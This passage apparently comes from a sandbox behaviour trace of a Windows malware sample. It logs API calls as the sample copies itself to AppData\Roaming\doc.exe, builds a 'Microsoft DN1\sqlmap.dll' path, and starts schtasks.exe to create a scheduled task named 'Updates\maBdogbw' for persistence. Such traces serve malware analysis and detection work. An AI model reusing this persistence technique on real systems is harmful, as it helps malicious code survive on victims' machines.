VirtualFree (lpAddress=0x740000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.851] lstrlenW (lpString="\\sqlmap.dll") returned 11 [0294.852] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x700000 [0294.852] lstrlenW (lpString="\\sqlmap.dll") returned 11 [0294.852] lstrcpyW (in: lpString1=0x700000, lpString2="\\sqlmap.dll" | out: lpString1="\\sqlmap.dll") returned="\\sqlmap.dll" [0294.852] lstrlenW (lpString="\\sqlmap.dll") returned 11 [0294.852] lstrlenW (lpString="C:\\Program Files\\Microsoft DN1") returned 30 [0294.852] VirtualQuery (in: lpAddress=0x750000, lpBuffer=0x28fa28, dwLength=0x1c | out: lpBuffer=0x28fa28*(BaseAddress=0x750000, AllocationBase=0x750000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0294.852] VirtualAlloc (lpAddress=0x0, dwSize=0x56, flAllocationType=0x3000, flProtect=0x4) returned 0x740000 [0294.852] VirtualFree (lpAddress=0x750000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.852] lstrcatW (in: lpString1="C:\\Program Files\\Microsoft DN1", lpString2="\\sqlmap.dll" | out: lpString1="C:\\Program Files\\Microsoft DN1\\sqlmap.dll") returned="C:\\Program Files\\Microsoft DN1\\sqlmap.dll" [0294.853] VirtualFree (lpAddress=0x700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.853] lstrlenW (lpString="\\sqlmap.dll") returned 11 [0294.853] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x700000 [0294.853] lstrlenW (lpString="\\sqlmap.dll") returned 11 [0294.853] lstrcpyW (in: lpString1=0x700000, lpString2="\\sqlmap.dll" | out: lpString1="\\sqlmap.dll") returned="\\sqlmap.dll" [0294.853] lstrlenW (lpString="\\sqlmap.dll") returned 11 [0294.853] lstrlenW (lpString="%ProgramFiles%\\Microsoft DN1") returned 28 [0294.853] VirtualQuery (in: lpAddress=0x730000, lpBuffer=0x28fa28, dwLength=0x1c | out: lpBuffer=0x28fa28*(BaseAddress=0x730000, AllocationBase=0x730000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0294.853] VirtualAlloc (lpAddress=0x0, dwSize=0x52, flAllocationType=0x3000, flProtect=0x4) returned 0x750000 [0294.853] VirtualFree (lpAddress=0x730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.854] lstrcatW (in: lpString1="%ProgramFiles%\\Microsoft DN1", lpString2="\\sqlmap.dll" | out: lpString1="%ProgramFiles%\\Microsoft DN1\\sqlmap.dll") returned="%ProgramFiles%\\Microsoft DN1\\sqlmap.dll" [0294.854] VirtualFree (lpAddress=0x700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.921] VirtualAlloc (lpAddress=0x0, dwSize=0x1, flAllocationType=0x3000, flProtect=0x4) returned 0x700000 [0294.922] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x1a4 [0294.922] WSAStartup (in: wVersionRequired=0x2, lpWSAData=0x54dba4 | out: lpWSAData=0x54dba4) returned 0 [0294.928] VirtualAlloc (lpAddress=0x0, dwSize=0x1, flAllocationType=0x3000, flProtect=0x4) returned 0x730000 [0294.929] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x1bc [0294.929] WSAStartup (in: wVersionRequired=0x2, lpWSAData=0x54dd84 | out: lpWSAData=0x54dd84) returned 0 [0294.929] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x1c0 [0294.929] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0294.929] GetTickCount () returned 0xbfd7c6 [0294.929] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x28f550, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe")) returned 0x2a [0294.929] GetProcessHeap () returned 0x820000 [0294.929] RtlAllocateHeap (HeapHandle=0x820000, Flags=0x0, Size=0x400000) returned 0x2810020 [0294.930] CreateFileA (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0294.930] GetFileSize (in: hFile=0x1c4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x9ba00 [0294.930] ReadFile (in: hFile=0x1c4, lpBuffer=0x2810020, nNumberOfBytesToRead=0x9ba00, lpNumberOfBytesRead=0x28f444, lpOverlapped=0x0 | out: lpBuffer=0x2810020*, lpNumberOfBytesRead=0x28f444*=0x9ba00, lpOverlapped=0x0) returned 1 [0294.939] CloseHandle (hObject=0x1c4) returned 1 [0294.940] GetProcessHeap () returned 0x820000 [0294.940] RtlAllocateHeap (HeapHandle=0x820000, Flags=0x0, Size=0x20) returned 0x854ae0 [0294.940] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="Iµ\x80o") returned 0x1c4 [0294.940] GetLastError () returned 0xb7 [0294.940] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.940] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.940] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.940] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.940] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.940] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.941] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.941] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.941] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.941] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.941] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.941] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.941] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.941] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.941] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.941] CoUninitialize () [0294.946] CoUninitialize () [0294.946] VirtualFree (lpAddress=0x83edf8, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.946] VirtualFree (lpAddress=0x83ee50, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.946] ReleaseMutex (hMutex=0xbc) returned 0 [0294.946] CloseHandle (hObject=0xbc) returned 1 [0294.946] VirtualFree (lpAddress=0x670000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.946] VirtualFree (lpAddress=0x660000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.947] VirtualFree (lpAddress=0x3f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.947] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.947] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.947] VirtualFree (lpAddress=0x150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.947] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.947] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.948] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.948] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.948] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.948] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.948] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.948] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.948] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.948] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.948] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.948] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.948] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.948] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.948] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.948] ReleaseMutex (hMutex=0x1a0) returned 0 [0294.948] CloseHandle (hObject=0x1a0) returned 1 [0294.948] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.949] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.949] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.949] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.949] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.949] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.949] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.949] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.949] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.949] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.949] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.949] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.949] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.949] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.949] VirtualFree (lpAddress=0x720000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.950] VirtualFree (lpAddress=0x760000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.950] VirtualFree (lpAddress=0x740000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.950] VirtualFree (lpAddress=0x750000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.950] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.950] VirtualFree (lpAddress=0x710000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.950] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.950] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0294.950] WSACleanup () returned 0 [0294.951] ReleaseMutex (hMutex=0x1bc) returned 0 [0294.951] CloseHandle (hObject=0x1bc) returned 1 [0294.951] VirtualFree (lpAddress=0x730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.951] WSACleanup () returned 0 [0294.953] ReleaseMutex (hMutex=0x1a4) returned 0 [0294.953] CloseHandle (hObject=0x1a4) returned 1 [0294.953] VirtualFree (lpAddress=0x700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.953] ReleaseMutex (hMutex=0x1c0) returned 0 [0294.953] CloseHandle (hObject=0x1c0) returned 1 [0294.954] ExitProcess (uExitCode=0x0) Process: id = "14" image_name = "schtasks.exe" filename = "c:\\windows\\syswow64\\schtasks.exe" page_root = "0x1b31d000" os_pid = "0x7b4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xd90" cmd_line = "\"C:\\Windows\\System32\\schtasks.exe\" /Create /TN \"Updates\\maBdogbw\" /XML \"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp\"" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e957" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3565 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3566 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3567 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3568 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3569 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3570 start_va = 0x80000 end_va = 0xbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 3571 start_va = 0x1d0000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 3572 start_va = 0xff0000 end_va = 0x101dfff monitored = 1 entry_point = 0x1007683 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe") Region: id = 3573 start_va = 0x776e0000 end_va = 0x77888fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3574 start_va = 0x778c0000 end_va = 0x77a3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3575 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3576 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3577 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3578 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3579 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3580 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3581 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3590 start_va = 0xd0000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 3591 start_va = 0x74b70000 end_va = 0x74b77fff monitored = 0 entry_point = 0x74b720f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3592 start_va = 0x74b80000 end_va = 0x74bdbfff monitored = 0 entry_point = 0x74bbf9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3593 start_va = 0x74be0000 end_va = 0x74c1efff monitored = 0 entry_point = 0x74c0e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3594 start_va = 0x774c0000 end_va = 0x775defff monitored = 0 entry_point = 0x774d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3595 start_va = 0x772b0000 end_va = 0x773bffff monitored = 0 entry_point = 0x772c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3596 start_va = 0x774c0000 end_va = 0x775defff monitored = 0 entry_point = 0x774d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3597 start_va = 0x774c0000 end_va = 0x775defff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000774c0000" filename = "" Region: id = 3598 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 0 entry_point = 0x775fa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3599 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000775e0000" filename = "" Region: id = 3600 start_va = 0x210000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 3601 start_va = 0x772b0000 end_va = 0x773bffff monitored = 0 entry_point = 0x772c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3602 start_va = 0x773e0000 end_va = 0x77426fff monitored = 0 entry_point = 0x773e74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3603 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3604 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3605 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3696 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3697 start_va = 0x150000 end_va = 0x1b6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3698 start_va = 0x76b90000 end_va = 0x76c3bfff monitored = 0 entry_point = 0x76b9a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3699 start_va = 0x766d0000 end_va = 0x767cffff monitored = 0 entry_point = 0x766eb6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3700 start_va = 0x76270000 end_va = 0x762fffff monitored = 0 entry_point = 0x76286343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3701 start_va = 0x77890000 end_va = 0x77899fff monitored = 0 entry_point = 0x778936a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3702 start_va = 0x76300000 end_va = 0x7639cfff monitored = 0 entry_point = 0x76333fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3703 start_va = 0x77180000 end_va = 0x7721ffff monitored = 0 entry_point = 0x771949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3704 start_va = 0x77490000 end_va = 0x774a8fff monitored = 0 entry_point = 0x77494975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3705 start_va = 0x769e0000 end_va = 0x76acffff monitored = 0 entry_point = 0x769f0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3706 start_va = 0x75410000 end_va = 0x7546ffff monitored = 0 entry_point = 0x7542a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3707 start_va = 0x75400000 end_va = 0x7540bfff monitored = 0 entry_point = 0x754010e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3708 start_va = 0x763d0000 end_va = 0x7652bfff monitored = 0 entry_point = 0x7641ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 3709 start_va = 0x76ad0000 end_va = 0x76b5efff monitored = 0 entry_point = 0x76ad3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 3710 start_va = 0x76850000 end_va = 0x768a6fff monitored = 0 entry_point = 0x76869ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 3711 start_va = 0x74c80000 end_va = 0x74c88fff monitored = 0 entry_point = 0x74c81830 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\SysWOW64\\ktmw32.dll" (normalized: "c:\\windows\\syswow64\\ktmw32.dll") Region: id = 3712 start_va = 0x320000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 3718 start_va = 0x320000 end_va = 0x33dfff monitored = 0 entry_point = 0x33158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3719 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 3720 start_va = 0x450000 end_va = 0x5d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 3721 start_va = 0x320000 end_va = 0x33dfff monitored = 0 entry_point = 0x33158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3722 start_va = 0x77430000 end_va = 0x7748ffff monitored = 0 entry_point = 0x7744158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3723 start_va = 0x77050000 end_va = 0x7711bfff monitored = 0 entry_point = 0x7705168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3736 start_va = 0x5e0000 end_va = 0x760fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 3737 start_va = 0x1020000 end_va = 0x241ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001020000" filename = "" Region: id = 3738 start_va = 0x320000 end_va = 0x331fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\schtasks.exe.mui") Region: id = 3742 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3743 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 3744 start_va = 0x73e30000 end_va = 0x73e38fff monitored = 0 entry_point = 0x73e31220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 3745 start_va = 0x770000 end_va = 0xa3efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3746 start_va = 0x73d60000 end_va = 0x73ddffff monitored = 0 entry_point = 0x73d737c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3747 start_va = 0x340000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 3760 start_va = 0xa40000 end_va = 0xb1efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a40000" filename = "" Region: id = 3762 start_va = 0x370000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 3763 start_va = 0x3f0000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 3764 start_va = 0xc60000 end_va = 0xc9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c60000" filename = "" Region: id = 3765 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 3766 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 3767 start_va = 0x76530000 end_va = 0x765b2fff monitored = 0 entry_point = 0x765323d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 3768 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 3769 start_va = 0x72af0000 end_va = 0x72b6cfff monitored = 0 entry_point = 0x72af166a region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\SysWOW64\\taskschd.dll" (normalized: "c:\\windows\\syswow64\\taskschd.dll") Region: id = 3770 start_va = 0xb20000 end_va = 0xbdffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Thread: id = 263 os_tid = 0x5a0 [0292.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20fd90 | out: lpSystemTimeAsFileTime=0x20fd90*(dwLowDateTime=0x1df7b190, dwHighDateTime=0x1d7b45c)) [0292.007] GetCurrentProcessId () returned 0x7b4 [0292.007] GetCurrentThreadId () returned 0x5a0 [0292.007] GetTickCount () returned 0xbfd028 [0292.007] RtlQueryPerformanceCounter () returned 0x1 [0292.008] GetModuleHandleA (lpModuleName=0x0) returned 0xff0000 [0292.008] __set_app_type (_Type=0x1) [0292.008] __p__fmode () returned 0x76c331f4 [0292.008] __p__commode () returned 0x76c331fc [0292.008] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x1007881) returned 0x0 [0292.009] __wgetmainargs (in: _Argc=0x1019e6c, _Argv=0x1019e74, _Env=0x1019e70, _DoWildCard=0, _StartInfo=0x1019e80 | out: _Argc=0x1019e6c, _Argv=0x1019e74, _Env=0x1019e70) returned 0 [0292.009] _onexit (_Func=0x1010fe2) returned 0x1010fe2 [0292.009] _onexit 